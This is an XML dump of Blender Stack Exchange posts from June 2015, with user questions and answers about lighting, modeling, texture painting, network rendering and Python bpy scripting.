  <row Id="31925" PostTypeId="1" AcceptedAnswerId="31929" CreationDate="2015-06-04T05:38:26.050" Score="0" ViewCount="87" Body="&lt;p&gt;I have a simple problem in my scene:&lt;br&gt;&#xA;I have 4 lights, but only central lights are working in my render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vobHd.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qdNZl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;More info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried more lights or planes, more emission strength, but the illumination don't penetrate inside of cylinder, the cylinder is cutted in half.. only the central  illumination(Normal illumination) is working good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is a illumination equal to the object's center (normal illumination) for all parts of the object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This render will be used for texture of another object, but is still a draft, ignore the number of polygons ...&lt;/p&gt;&#xA;" OwnerUserId="14796" LastEditorUserId="47" LastEditDate="2015-06-05T09:51:47.360" LastActivityDate="2015-06-05T09:51:47.360" Title="Regions in my scene seem to render with less illumination" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="2" CommentCount="6" ClosedDate="2015-06-04T13:44:46.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="31926" PostTypeId="1" CreationDate="2015-06-04T05:51:27.687" Score="5" ViewCount="389" Body="&lt;p&gt;I want to make a plastic wrapped packaging as shown in the photo. its wrapped and folds on sides towards the back and overleaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jVJv.jpg&quot; alt=&quot;wrapped box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where should i start? I tried playing around with vertices in edit mode after adding a simple box, but i am having problems with getting the realistic fold effect. thanks&lt;/p&gt;&#xA;" OwnerUserId="5435" LastActivityDate="2015-06-04T05:51:27.687" Title="Wrapped packaging model?" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31927" PostTypeId="2" ParentId="31925" CreationDate="2015-06-04T06:08:04.907" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Since you have stated you are new to Blender, sometimes deleting objects, lights and other items removes subtle mistakes. Archive your file under a new name, so this operation is very little risk.  The second time you model these objects will be faster than the first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete all the lights and add them back. Logic stated in bullet 1.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the whole scene and start from scratch.  Logic stated in bullet 1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume you want brightness everywhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add more lights or raise your lights higher along the z axis.  Increase the strength.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a more distant larger plane. Orient its face towards your scene. Select the emission shader. See image below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n42F5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If desired select Cycles Ray Visiblity Camera to FALSE unchecked. This will prevent the render from showing a bright rectangle.  See image below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJDKv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Verify you are satisfied with the render results.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-04T07:13:36.640" LastActivityDate="2015-06-04T07:13:36.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31928" PostTypeId="1" CreationDate="2015-06-04T06:37:32.997" Score="2" ViewCount="652" Body="&lt;p&gt;I need to find the min and max z height values from a mesh of a complex object and mark them red in the rendered photo of the objects. A small dot would suffice. The max/min are found along a line along x or y coordinate, but it is not necessary to draw the line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/alQmC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some osl but that only allows to work with a single position and no memory of other points, as far a I know. It should be rendered with orthographic projection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="14641" LastEditorUserId="3710" LastEditDate="2015-06-04T07:40:21.403" LastActivityDate="2015-06-04T07:40:21.403" Title="Min/Max object coordinate values" Tags="&lt;mesh&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="31929" PostTypeId="2" ParentId="31925" CreationDate="2015-06-04T07:42:11.733" Score="0" Body="&lt;p&gt;Removing the caps from either end seems to help light bounce correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Quqmj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5uZX6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or instead of deleting the cap, detach it from the vertices around it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vaCps.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-04T09:05:18.647" LastActivityDate="2015-06-04T09:05:18.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31930" PostTypeId="1" AcceptedAnswerId="31950" CreationDate="2015-06-04T08:07:49.207" Score="11" ViewCount="13711" Body="&lt;p&gt;Intel processors have supported OpenCL for a long time now; latest versions (Haswell and above) support OpenCL 2.0 or better. Why don't we have a GPU rendering option when using Blender on these processors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the latest test build (2.75) too, which claims to add support for OpenCL, but I do not see GPU option in User Preferences. Do I need to download some add-on for it?&lt;/p&gt;&#xA;" OwnerUserId="14271" LastEditorUserId="3078" LastEditDate="2015-06-04T20:24:11.160" LastActivityDate="2016-12-28T18:10:58.653" Title="Is it possible to do OpenCL rendering on Intel processors?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31931" PostTypeId="1" CreationDate="2015-06-04T09:37:55.187" Score="1" ViewCount="665" Body="&lt;p&gt;I have an empty that is duplicating a group. I would like to instance this empty as the object of a hair particle system (or as part of a group of object's being instanced). This does not appear to work correctly. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Please confirm that this is the case and whether this is a bug or the intended behavior. &lt;/li&gt;&#xA;&lt;li&gt;If this is intended behavior, please specify why this is the case and whether this has been thoroughly contemplated. &lt;/li&gt;&#xA;&lt;li&gt;If possible, please specify the person(s) contributing to the particle system and dupligroup implementations. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Dupligroups are a fundamental facet of managing mesh hierarchies and building objects as they are a fundamental way of instancing meshs. They are also critical for sharing assets between files with linking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to instance trees using the hair particle system. As you can imagine, a complex trees would not be optimal to distribute as a single mesh and would be convenient to instance as a dupligroup. &lt;/p&gt;&#xA;" OwnerUserId="14797" LastActivityDate="2015-06-04T09:37:55.187" Title="How to use a Dupligroup as a hair Object" Tags="&lt;particles&gt;&lt;dupli-groups&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31932" PostTypeId="2" ParentId="31908" CreationDate="2015-06-04T09:45:01.367" Score="8" Body="&lt;p&gt;You don't need the modal operator to draw things to the viewport. Calling &lt;code&gt;bpy.types.SpaceView3D.draw_handler_add&lt;/code&gt; is all you need. Instead of &lt;code&gt;(self, context)&lt;/code&gt; you could pass an arbitray object and alter its attributes to modify the drawing. I.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class foo:&#xA;    def __init__(self, prop):&#xA;        self.prop = prop&#xA;&#xA;def draw_text_callback(data):&#xA;    #...&#xA;    blf.draw(data.prop)&#xA;&#xA;data = foo(&quot;Test&quot;)&#xA;&#xA;handle = bpy.types.SpaceView3D.draw_handler_add(&#xA;           draw_text_callback, &#xA;           (data,),&#xA;           'WINDOW', 'POST_PIXEL')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-06-04T17:12:28.457" LastActivityDate="2015-06-04T17:12:28.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31933" PostTypeId="1" CreationDate="2015-06-04T11:24:13.807" Score="6" ViewCount="52131" Body="&lt;p&gt;I try to do a projection painting and I followed a tutorial, but I get a &lt;strong&gt;'Missing Data' warning&lt;/strong&gt; in the tool shelf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uewwd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I solve this?&lt;/strong&gt; This is what I want to achieve (picture of the tutorial):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89Z15.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14798" LastEditorUserId="3710" LastEditDate="2015-06-04T13:17:07.223" LastActivityDate="2020-04-30T08:48:00.847" Title="Texture Painting mode: Missing data warning" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31934" PostTypeId="1" CreationDate="2015-06-04T13:42:54.740" Score="2" ViewCount="122" Body="&lt;p&gt;I have an object tracked using a camera solver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solver was created using footage where all the track points were visible. But there are still some frames at the beginning of the shot where I want my object to be animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicated animation keyframes on those previous frames, but Blender does not display the object on those frames! I guess the object is linked to the solver's frame range ? Is it possible to force animation&amp;amp;display of my object outside of this range, or do I have to go back &amp;amp; modify the range of my solver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it's clear :)&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8294" LastEditorUserId="8294" LastEditDate="2015-06-05T09:42:16.610" LastActivityDate="2015-06-05T09:42:16.610" Title="Animating a tracked object outside camera solver's frame range" Tags="&lt;animation&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31935" PostTypeId="1" CreationDate="2015-06-04T14:40:41.657" Score="4" ViewCount="924" Body="&lt;p&gt;I am trying to setup network render with cycles as the rendering engine. My use involves rendering hundreds of images and I have already written logic for it in python which is working fine on single pc. Now I have bought 6 more pc's and I need to utilize their capacities as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup master, client and slaves already. I am changing the material and texture from script directly. But these changes are not working when doing network render. When I ran it the first time, there was no error but all the rendered images have same texture (the one I applied last using script). &#xA;The subsequent renders were giving me the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 55, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops.py&quot;, line 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Error: timed out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I cleared the blender temp directory, and the error changed to the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 55, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops.py&quot;, line 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Error: Error: RE_result_rect_from_file: failed to load 'C:\Users\Admin\Desktop\gse\output.exr'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the temp directory also didn't help and same error occurred.&#xA;Closing all slaves, client and master instances and starting them again only removes the error, but then again all outputs are same. I don't know what to do.&#xA;I would be glad if someone could point out the issue, my script is pasted below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy, sys, os ,mathutils, glob&#xA;    from math import radians&#xA;&#xA;parentFolder = &quot;Z:/networkRenderTest/&quot;&#xA;baseFolder = &quot;Y:/&quot;&#xA;&#xA;#bpy.context.scene.render.engine = 'CYCLES'&#xA;bpy.context.scene.render.resolution_x = 1280&#xA;bpy.context.scene.render.resolution_y = 720&#xA;bpy.context.scene.render.resolution_percentage = 100&#xA;bpy.context.scene.cycles.samples = 500&#xA;bpy.context.scene.cycles.device = 'CPU'     # make it ‘CPU’ for cpu and 'GPU' for gpu&#xA;bpy.context.scene.file_format = 'JPEG'&#xA;bpy.context.scene.color_mode = 'RGB'&#xA;bpy.context.scene.quality=95&#xA;&#xA;materials = [&quot;Material1&quot;, &quot;Material2&quot;]&#xA;outBaseFolder = parentFolder+&quot;Renders/&quot;&#xA;&#xA;subFolders = [&quot;Material1Folder/&quot;, &quot;Material2Folder/&quot;]&#xA;textureFolders = [[904,906,907,909,912], [803,807,809,810,812,814,815,831]]&#xA;&#xA;config = '1'&#xA;category = 'test'&#xA;&#xA;cushion = bpy.data.objects[&quot;cushion&quot;]&#xA;&#xA;for subfolder in subFolders:&#xA;    outFolder = outBaseFolder+subfolder&#xA;    if not os.path.exists(outFolder):&#xA;        os.makedirs(outFolder)&#xA;    if(subfolder == subFolders[0]):&#xA;        material = bpy.data.materials[materials[0]]&#xA;        textureFolder = textureFolders[0]&#xA;    elif(subfolder == subFolders[1]):&#xA;        material = bpy.data.materials[materials[1]]&#xA;        textureFolder = textureFolders[1]&#xA;    cushion.material_slots[0].material=material&#xA;    files = [os.path.basename(x) for x in glob.glob(baseFolder+subfolder+&quot;*.jpg&quot;)]&#xA;    for texture in textureFolder:&#xA;            outImageName = outFolder+config+&quot;_&quot;+category+&quot;_&quot;+str(texture)+&quot;.jpg&quot;        &#xA;            if os.path.isfile(outImageName):&#xA;                pass&#xA;            else:&#xA;                imgColor = bpy.data.images.load(filepath = baseFolder+subfolder+str(texture)+&quot;/&quot;+str(texture)+'_COLOR.png')&#xA;                imgNormal = bpy.data.images.load(filepath = baseFolder+subfolder+str(texture)+&quot;/&quot;+str(texture)+'_NRM.png')&#xA;                imgOcc = bpy.data.images.load(filepath = baseFolder+subfolder+str(texture)+&quot;/&quot;+str(texture)+'_OCC.png')&#xA;                imgSpec = bpy.data.images.load(filepath = baseFolder+subfolder+str(texture)+&quot;/&quot;+str(texture)+'_SPEC.png')&#xA;                material.node_tree.nodes[&quot;Color&quot;].image = imgColor&#xA;                material.node_tree.nodes[&quot;Normal&quot;].image = imgNormal&#xA;                material.node_tree.nodes[&quot;Oclusion&quot;].image = imgOcc&#xA;                material.node_tree.nodes[&quot;Specular&quot;].image = imgSpec&#xA;                bpy.context.scene.render.filepath = outImageName&#xA;                print(bpy.context.scene.render.filepath)&#xA;                bpy.ops.render.render(write_still=True)&#xA;#               bpy.ops.render.netclientsendframe()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14802" LastEditorUserId="14802" LastEditDate="2015-06-08T13:43:24.350" LastActivityDate="2015-06-08T13:43:24.350" Title="Setup network render for cycles render on LAN" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;network&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31936" PostTypeId="2" ParentId="31893" CreationDate="2015-06-04T14:46:36.123" Score="2" Body="&lt;p&gt;Unfortunately, I think it is not possible to do exactly what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the advantages of using an Empty with dupli_group is that you don't have the overhead of storing much in the way of differences (location, rotation, scale).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to alter the group, you will probably have to instantate objects by copying the data from the group.  There's actually a keyboard shortcut to Make Duplicates Real (Ctrl Shift A) that would work for interactive use.  Since you were using python in your original project here is a small python script I wrote that might accomplish your mission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def mission1(group, scn):&#xA;&#xA;    parent = bpy.data.objects.new(&quot;parent&quot;, None)&#xA;    scn.objects.link(parent)&#xA;&#xA;    for obj in group.objects:&#xA;        o2 = obj.copy()&#xA;        o2.parent = parent&#xA;        for i in range(len(o2.material_slots)):&#xA;            ms = o2.material_slots[i]&#xA;            ms.link = 'OBJECT'&#xA;            ms.material = o2.data.materials[i]&#xA;        scn.objects.link(o2)&#xA;&#xA;    return parent&#xA;#&#xA;#&#xA;&#xA;anchor = mission1(bpy.data.groups[&quot;Group&quot;], bpy.context.scene)&#xA;anchor.location = [2,0,2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parent object is not strictly necessary, but it gives you the ability to manipulate the location and orientation of the group very much like the dupli_group empty you were using before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important drawback is that once you have instantiated these copies modifications to the group (adding, removing, relocating objects) will not be propagated.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-04T15:20:02.543" LastActivityDate="2015-06-04T15:20:02.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31938" PostTypeId="2" ParentId="29244" CreationDate="2015-06-04T15:29:40.490" Score="1" Body="&lt;p&gt;You could use a function like &lt;code&gt;z=dist*0.5*(1-cos((now-t0)/duration*pi))&lt;/code&gt; which would start out slow, speed up, and then slow to a stop after duration seconds.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-04T15:29:40.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31939" PostTypeId="1" AcceptedAnswerId="32010" CreationDate="2015-06-04T15:49:15.303" Score="-2" ViewCount="131" Body="&lt;p&gt;&lt;strong&gt;update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is very &quot;easy&quot;.&lt;code&gt;.bpy.ops.transform.transform(mode='TIME_TRANSLATE'&lt;/code&gt; DON'T WORK ...anything happend if you use that.... any action, any return, any error, any...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please check this video... I want to do the same with python but I don't know why this don't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/_h9WRh51d4A&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/_h9WRh51d4A&lt;/a&gt;&#xA;&lt;a href=&quot;https://youtu.be/_h9WRh51d4A&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-----------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.transform(mode='TIME_TRANSLATE', value=(0.996151, 0, 0, 0), axis=(0, 0, 0), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but nothing happend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I use &lt;code&gt;print&lt;/code&gt; that code return &lt;code&gt;&quot;finished&quot;&lt;/code&gt; but if I use that in console that return {&lt;code&gt;'CANCELLED'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here my full code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;numero_frames = 5&#xA;&#xA;original_type = bpy.context.area.type&#xA;bpy.context.area.type = &quot;DOPESHEET_EDITOR&quot;&#xA;&#xA;&#xA;bpy.ops.action.select_leftright(&#xA;    mode='RIGHT', &#xA;    extend=False)&#xA;bpy.ops.transform.transform(mode='TIME_TRANSLATE', value=(20, 0, 0, 0), axis=(0, 0, 0), proportional='DISABLED',  proportional_size=1, mirror=False, constraint_axis=(False, False, False), constraint_orientation='GLOBAL')&#xA;&#xA;&#xA;bpy.context.area.type = original_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;do you know what I'm doing wrong? I should be use another code?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-06-06T01:49:47.573" LastActivityDate="2015-06-06T09:29:59.863" Title="TIME_TRANSLATE don't work" Tags="&lt;python&gt;&lt;scripting&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2015-06-06T17:31:18.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="31940" PostTypeId="2" ParentId="31933" CreationDate="2015-06-04T15:55:44.190" Score="6" Body="&lt;p&gt;To paint on the model you need to create a texture in the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on &lt;strong&gt;Add Paint Slot&lt;/strong&gt; and select &lt;strong&gt;Diffuse Color&lt;/strong&gt;.&#xA;This will create a texture that will have Color influence on the material in Blender Internal, and if you are in Cycles Render it will add a texture node on the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s3FFh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-04T15:55:44.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31941" PostTypeId="1" CreationDate="2015-06-04T16:28:43.517" Score="0" ViewCount="915" Body="&lt;p&gt;Earlier I rendered my first ever animation which is grass moving. But I closed the program and went to do my personal things. When I got back to the file and opened it, I clicked play rendered animation but now it says 'file H: blahlbhalbha... png.001-0100.avi not found' or something like that. I checked my folders and I clearly have all the 1-100 png files. Do I have to re-render it because it took about 24 hours because I have a terrible computer. Is there any way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="14803" LastEditorUserId="241" LastEditDate="2015-06-04T17:05:14.007" LastActivityDate="2016-02-14T16:13:23.617" Title="On returning to my file 'Play Rendered Animation' says 'file not found'" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31942" PostTypeId="1" AcceptedAnswerId="31943" CreationDate="2015-06-04T16:35:59.790" Score="3" ViewCount="180" Body="&lt;p&gt;Is there a way to render a sequence of frames from the &quot;3D view&quot; (not the final render, but in solid mode, for example), except the screen capture?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="55" LastEditDate="2015-06-04T17:07:53.703" LastActivityDate="2015-06-04T17:07:53.703" Title="Is there a way to render out an animation from the 3D view?" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31943" PostTypeId="2" ParentId="31942" CreationDate="2015-06-04T16:45:07.397" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;Click the movie icon beneath the 3D View&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VMdfO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here is the menu venue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGKxn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-06-04T16:45:07.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31945" PostTypeId="2" ParentId="31941" CreationDate="2015-06-04T17:31:29.233" Score="1" Body="&lt;p&gt;If you have renamed your animation (if it was outputted to a movie file), then Blender will not be able to recognize it if it doesn't have the original output name. Did you rename your file? (Was it a movie file in the first place, or was it an image sequence?)&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-06-04T17:31:29.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31948" PostTypeId="1" CreationDate="2015-06-04T18:44:20.067" Score="0" ViewCount="1109" Body="&lt;p&gt;How do I add a loop to this script?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; import bge&#xA;    cont = bge.logic.getCurrentController()&#xA;    owner = cont.owner&#xA;    scene = bge.logic.getCurrentScene()&#xA;&#xA;    cube = scene.objects[&quot;Cube2&quot;]&#xA;    cone = scene.objects[&quot;Cone&quot;]&#xA;    sphere = scene.objects[&quot;Sphere&quot;]&#xA;&#xA;    prop = owner.get(&quot;prop&quot;)&#xA;    if prop == 1:&#xA;        target = cube&#xA;    if prop == 2:&#xA;        target = cone&#xA;    if prop == 3:&#xA;        target = sphere&#xA;&#xA;    sensor = cont.sensors[&quot;near&quot;]&#xA;    sensedObjects = sensor.hitObjectList  &#xA;&#xA;&#xA;    #objectToTrack = sensedObjects[0] #from original code&#xA;    objectToTrack = target&#xA;&#xA;    track = cont.actuators[0]&#xA;    track.target = objectToTrack&#xA;    cont.activate(track)&#xA;&#xA;    if cont.sensors[&quot;Ray&quot;].positive:&#xA;        prop = &quot;prop&quot;&#xA;        owner[prop] = 2&#xA;        print(&quot;Ray sensor positive&quot;, owner[prop])&#xA;    if cont.sensors[&quot;Ray1&quot;].positive:&#xA;        prop = &quot;prop&quot;&#xA;        owner[prop] = 3&#xA;        print(&quot;Ray1 sensor positive&quot;, owner[prop])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2015-06-04T18:44:20.067" Title="How do I add a loop to this script?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31949" PostTypeId="1" CreationDate="2015-06-04T19:38:57.353" Score="1" ViewCount="471" Body="&lt;p&gt;Im making a 3d print object for the dishonored mask. A big part of the face of the mask is made look like the metal casting for the mask failed, and a plate was hammered into the face. I have sculpted the face WHOLE but I need a way to get that bit out of the model. I tried using boolean but the topology went horrible, and I was not able to sculpt the model around the cut edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more effective way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plate is hammered into the right face (left face from the wearers view)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dtC3X.jpg&quot; alt=&quot;Mask shown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I originally intended on doing this, copied the plate (I have already made the model) and made it thicker, and applied boolean modifier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QQqCd.png&quot; alt=&quot;Im not good at describing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the wound i got from apllying the boolean modifier. (after inflating, it was flat right after booling, but this shows how bad the topology got.)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JqpLz.png&quot; alt=&quot;Wound from boolean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the face&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W9Xi5.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;And the plate&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R1Dvk.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Also this is the first time I model, so please don't give super complicated answers, and if they are, please explain well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="3078" LastEditDate="2015-06-04T20:20:43.740" LastActivityDate="2015-06-04T20:20:43.740" Title="Is there an effective way to cut out a portion of a model without destroying it's topology?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;sculpting&gt;&lt;topology&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
